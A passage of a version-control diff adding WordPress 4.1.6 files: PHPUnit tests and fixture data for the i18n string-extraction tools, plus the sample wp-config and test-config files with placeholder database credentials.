+	function test_comment_prefix_should_be_case_insensitive() {
+		$this->assertEquals(
+			array( array( 'name' => 'f', 'args' => array( 'baba' ), 'line' => 1, 'comment' => 'Translators: let your ears fly!' ) ),
+			$this->extractor->find_function_calls( array('f'), '<?php /* Translators: let your ears fly! */ f( "baba" ); ' ) );
+	}
+}
Index: /tags/4.1.6/tools/i18n/t/NotGettextedTest.php
===================================================================
--- /tags/4.1.6/tools/i18n/t/NotGettextedTest.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/t/NotGettextedTest.php	(revision 33402)
@@ -0,0 +1,46 @@
+<?php
+/**
+ * Tests for not-gettexted.php
+ *
+ * @package wordpress-i18n
+ * @subpackage tools
+ */
+error_reporting( E_ALL );
+require_once dirname( dirname( __FILE__ ) ) . '/not-gettexted.php';
+
+class NotGettextedTest extends PHPUnit_Framework_TestCase {
+
+	function __construct() {
+		$this->ng = new NotGettexted;
+	}
+
+	function test_make_string_aggregator() {
+		global $baba;
+		$f = $this->ng->make_string_aggregator( 'baba', 'baba.php' );
+		call_user_func( $f, 'x', 'y', 'z' );
+		call_user_func( $f, 'a', 'b', 'c' );
+		$this->assertEquals( array( array( 'x', 'y', 'baba.php', 'z'), array( 'a', 'b', 'baba.php', 'c' ) ), $baba );
+	}
+
+	function test_walk() {
+		$code = '
+<?php
+	$s = 8;
+echo /* WP_I18N_GUGU*/ 	"yes" /* /WP_I18N_UGU		*/;
+	if ($x == "18181") { wp_die(sprintf(/*WP_I18N_DIE*/\'We died %d times!\'/*WP_I18N_DIE*/)); }
+?>';
+		$tokens = token_get_all($code);
+		$this->assertEquals( '', $this->ng->walk_tokens( $tokens, array($this->ng, 'ignore_token'), array($this->ng, 'ignore_token') ) );
+		$this->assertEquals( '"yes"\'We died %d times!\'', $this->ng->walk_tokens( $tokens, array($this->ng, 'unchanged_token'), array($this->ng, 'ignore_token') ) );
+		$this->assertEquals( $code, $this->ng->walk_tokens( $tokens, array($this->ng, 'unchanged_token'), array($this->ng, 'unchanged_token') ) );
+		$this->assertEquals( $code, $this->ng->walk_tokens( $tokens, array($this->ng, 'unchanged_token'), array($this->ng, 'unchanged_token') ) );
+	}
+
+	function test_replace() {
+		# copy to a new file, so that we don't corrupt the old one
+		copy( 'data/not-gettexted-0.php', 'data/not-gettexted-0-work.php' );
+		$this->ng->command_replace( 'data/not-gettexted-0.mo', 'data/not-gettexted-0-work.php' );
+		$this->assertEquals( file_get_contents( 'data/not-gettexted-0-result.php' ), file_get_contents( 'data/not-gettexted-0-work.php' ) );
+		unlink( 'data/not-gettexted-0-work.php' );
+	}
+}
Index: /tags/4.1.6/tools/i18n/t/data/not-gettexted-0-result.php
===================================================================
--- /tags/4.1.6/tools/i18n/t/data/not-gettexted-0-result.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/t/data/not-gettexted-0-result.php	(revision 33402)
@@ -0,0 +1,24 @@
+<?php
+
+if (! isset($wp_did_header)):
+if ( !file_exists( dirname(__FILE__) . '/wp-config.php') ) {
+	if (strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false) $path = '';
+	else $path = 'wp-admin/';
+
+	require_once( dirname(__FILE__) . '/wp-includes/classes.php');
+	require_once( dirname(__FILE__) . '/wp-includes/functions.php');
+	require_once( dirname(__FILE__) . '/wp-includes/plugin.php');
+	wp_die( sprintf(/*WP_I18N_CONFIG*/'Translation: There doesn\'t seem to be a <code>wp-config.php</code> file. I need this before we can get started. Need more help? <a href=\'http://codex.wordpress.org/Editing_wp-config.php\'>We got it</a>. You can create a <code>wp-config.php</code> file through a web interface, but this doesn\'t work for all server setups. The safest way is to manually create the file.</p><p><a href=\'%s\' class=\'button\'>Create a Configuration File</a>' /*/WP_I18N_CONFIG*/, $path.'setup-config.php'), /*WP_I18N_ERROR*/ 'Translation: WordPress &rsaquo; Error' /*/WP_I18N_ERROR*/);
+}
+
+$wp_did_header = true;
+
+require_once( dirname(__FILE__) . '/wp-config.php');
+
+wp();
+
+require_once(ABSPATH . WPINC . '/template-loader.php');
+
+endif;
+
+?>
Index: /tags/4.1.6/tools/i18n/t/data/not-gettexted-0-work.php
===================================================================
--- /tags/4.1.6/tools/i18n/t/data/not-gettexted-0-work.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/t/data/not-gettexted-0-work.php	(revision 33402)
@@ -0,0 +1,24 @@
+<?php
+
+if (! isset($wp_did_header)):
+if ( !file_exists( dirname(__FILE__) . '/wp-config.php') ) {
+	if (strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false) $path = '';
+	else $path = 'wp-admin/';
+
+	require_once( dirname(__FILE__) . '/wp-includes/classes.php');
+	require_once( dirname(__FILE__) . '/wp-includes/functions.php');
+	require_once( dirname(__FILE__) . '/wp-includes/plugin.php');
+	wp_die( sprintf(/*WP_I18N_CONFIG*/'Translation: There doesn\'t seem to be a <code>wp-config.php</code> file. I need this before we can get started. Need more help? <a href=\'http://codex.wordpress.org/Editing_wp-config.php\'>We got it</a>. You can create a <code>wp-config.php</code> file through a web interface, but this doesn\'t work for all server setups. The safest way is to manually create the file.</p><p><a href=\'%s\' class=\'button\'>Create a Configuration File</a>' /*/WP_I18N_CONFIG*/, $path.'setup-config.php'), /*WP_I18N_ERROR*/ 'Translation: WordPress &rsaquo; Error' /*/WP_I18N_ERROR*/);
+}
+
+$wp_did_header = true;
+
+require_once( dirname(__FILE__) . '/wp-config.php');
+
+wp();
+
+require_once(ABSPATH . WPINC . '/template-loader.php');
+
+endif;
+
+?>
Index: /tags/4.1.6/tools/i18n/t/data/not-gettexted-0.php
===================================================================
--- /tags/4.1.6/tools/i18n/t/data/not-gettexted-0.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/t/data/not-gettexted-0.php	(revision 33402)
@@ -0,0 +1,24 @@
+<?php
+
+if (! isset($wp_did_header)):
+if ( !file_exists( dirname(__FILE__) . '/wp-config.php') ) {
+	if (strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false) $path = '';
+	else $path = 'wp-admin/';
+
+	require_once( dirname(__FILE__) . '/wp-includes/classes.php');
+	require_once( dirname(__FILE__) . '/wp-includes/functions.php');
+	require_once( dirname(__FILE__) . '/wp-includes/plugin.php');
+	wp_die( sprintf(/*WP_I18N_CONFIG*/" There doesn't seem to be a <code>wp-config.php</code> file. I need this before we can get started. Need more help? <a href='http://codex.wordpress.org/Editing_wp-config.php'>We got it</a>. You can create a <code>wp-config.php</code> file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file.</p><p><a href='%s' class='button'>Create a Configuration File</a>" /*/WP_I18N_CONFIG*/, $path.'setup-config.php'), /*WP_I18N_ERROR*/ "WordPress &rsaquo; Error" /*/WP_I18N_ERROR*/);
+}
+
+$wp_did_header = true;
+
+require_once( dirname(__FILE__) . '/wp-config.php');
+
+wp();
+
+require_once(ABSPATH . WPINC . '/template-loader.php');
+
+endif;
+
+?>
Index: /tags/4.1.6/tools/i18n/t/data/not-gettexted-0.po
===================================================================
--- /tags/4.1.6/tools/i18n/t/data/not-gettexted-0.po	(revision 33402)
+++ /tags/4.1.6/tools/i18n/t/data/not-gettexted-0.po	(revision 33402)
@@ -0,0 +1,21 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-04-22 19:23+0200\n"
+"Last-Translator: \n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Not gettexted string WP_I18N_CONFIG
+#: not-gettext-0.php:11
+msgid " There doesn't seem to be a <code>wp-config.php</code> file. I need this before we can get started. Need more help? <a href='http://codex.wordpress.org/Editing_wp-config.php'>We got it</a>. You can create a <code>wp-config.php</code> file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file.</p><p><a href='%s' class='button'>Create a Configuration File</a>"
+msgstr "Translation: There doesn't seem to be a <code>wp-config.php</code> file. I need this before we can get started. Need more help? <a href='http://codex.wordpress.org/Editing_wp-config.php'>We got it</a>. You can create a <code>wp-config.php</code> file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file.</p><p><a href='%s' class='button'>Create a Configuration File</a>"
+
+#. Not gettexted string WP_I18N_ERROR
+#: not-gettext-0.php:11
+msgid "WordPress &rsaquo; Error"
+msgstr "Translation: WordPress &rsaquo; Error"
+
Index: /tags/4.1.6/wp-cli.yml
===================================================================
--- /tags/4.1.6/wp-cli.yml	(revision 33402)
+++ /tags/4.1.6/wp-cli.yml	(revision 33402)
@@ -0,0 +1,2 @@
+path: src/
+debug: true
Index: /tags/4.1.6/wp-config-sample.php
===================================================================
--- /tags/4.1.6/wp-config-sample.php	(revision 33402)
+++ /tags/4.1.6/wp-config-sample.php	(revision 33402)
@@ -0,0 +1,80 @@
+<?php
+/**
+ * The base configurations of the WordPress.
+ *
+ * This file has the following configurations: MySQL settings, Table Prefix,
+ * Secret Keys, and ABSPATH. You can find more information by visiting
+ * {@link http://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
+ * Codex page. You can get the MySQL settings from your web host.
+ *
+ * This file is used by the wp-config.php creation script during the
+ * installation. You don't have to use the web site, you can just copy this file
+ * to "wp-config.php" and fill in the values.
+ *
+ * @package WordPress
+ */
+
+// ** MySQL settings - You can get this info from your web host ** //
+/** The name of the database for WordPress */
+define('DB_NAME', 'database_name_here');
+
+/** MySQL database username */
+define('DB_USER', 'username_here');
+
+/** MySQL database password */
+define('DB_PASSWORD', 'password_here');
+
+/** MySQL hostname */
+define('DB_HOST', 'localhost');
+
+/** Database Charset to use in creating database tables. */
+define('DB_CHARSET', 'utf8');
+
+/** The Database Collate type. Don't change this if in doubt. */
+define('DB_COLLATE', '');
+
+/**#@+
+ * Authentication Unique Keys and Salts.
+ *
+ * Change these to different unique phrases!
+ * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
+ * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
+ *
+ * @since 2.6.0
+ */
+define('AUTH_KEY',         'put your unique phrase here');
+define('SECURE_AUTH_KEY',  'put your unique phrase here');
+define('LOGGED_IN_KEY',    'put your unique phrase here');
+define('NONCE_KEY',        'put your unique phrase here');
+define('AUTH_SALT',        'put your unique phrase here');
+define('SECURE_AUTH_SALT', 'put your unique phrase here');
+define('LOGGED_IN_SALT',   'put your unique phrase here');
+define('NONCE_SALT',       'put your unique phrase here');
+
+/**#@-*/
+
+/**
+ * WordPress Database Table prefix.
+ *
+ * You can have multiple installations in one database if you give each a unique
+ * prefix. Only numbers, letters, and underscores please!
+ */
+$table_prefix  = 'wp_';
+
+/**
+ * For developers: WordPress debugging mode.
+ *
+ * Change this to true to enable the display of notices during development.
+ * It is strongly recommended that plugin and theme developers use WP_DEBUG
+ * in their development environments.
+ */
+define('WP_DEBUG', false);
+
+/* That's all, stop editing! Happy blogging. */
+
+/** Absolute path to the WordPress directory. */
+if ( !defined('ABSPATH') )
+	define('ABSPATH', dirname(__FILE__) . '/');
+
+/** Sets up WordPress vars and included files. */
+require_once(ABSPATH . 'wp-settings.php');
Index: /tags/4.1.6/wp-tests-config-sample.php
===================================================================
--- /tags/4.1.6/wp-tests-config-sample.php	(revision 33402)
+++ /tags/4.1.6/wp-tests-config-sample.php	(revision 33402)
@@ -0,0 +1,41 @@
+<?php
+
+/* Path to the WordPress codebase you'd like to test. Add a backslash in the end. */
+define( 'ABSPATH', dirname( __FILE__ ) . '/src/' );
+
+// Test with multisite enabled.
+// Alternatively, use the tests/phpunit/multisite.xml configuration file.
+// define( 'WP_TESTS_MULTISITE', true );
+
+// Force known bugs to be run.
+// Tests with an associated Trac ticket that is still open are normally skipped.
+// define( 'WP_TESTS_FORCE_KNOWN_BUGS', true );
+
+// Test with WordPress debug mode (default).
+define( 'WP_DEBUG', true );
+
+// ** MySQL settings ** //
+
+// This configuration file will be used by the copy of WordPress being tested.
+// wordpress/wp-config.php will be ignored.
+
+// WARNING WARNING WARNING!
+// These tests will DROP ALL TABLES in the database with the prefix named below.
+// DO NOT use a production database or one that is shared with something else.
+
+define( 'DB_NAME', 'youremptytestdbnamehere' );
+define( 'DB_USER', 'yourusernamehere' );
+define( 'DB_PASSWORD', 'yourpasswordhere' );
+define( 'DB_HOST', 'localhost' );
+define( 'DB_CHARSET', 'utf8' );
+define( 'DB_COLLATE', '' );
+
+$table_prefix  = 'wptests_';   // Only numbers, letters, and underscores please!
+
+define( 'WP_TESTS_DOMAIN', 'example.org' );
+define( 'WP_TESTS_EMAIL', 'admin@example.org' );
+define( 'WP_TESTS_TITLE', 'Test Blog' );
+
+define( 'WP_PHP_BINARY', 'php' );
+
+define( 'WPLANG', '' );
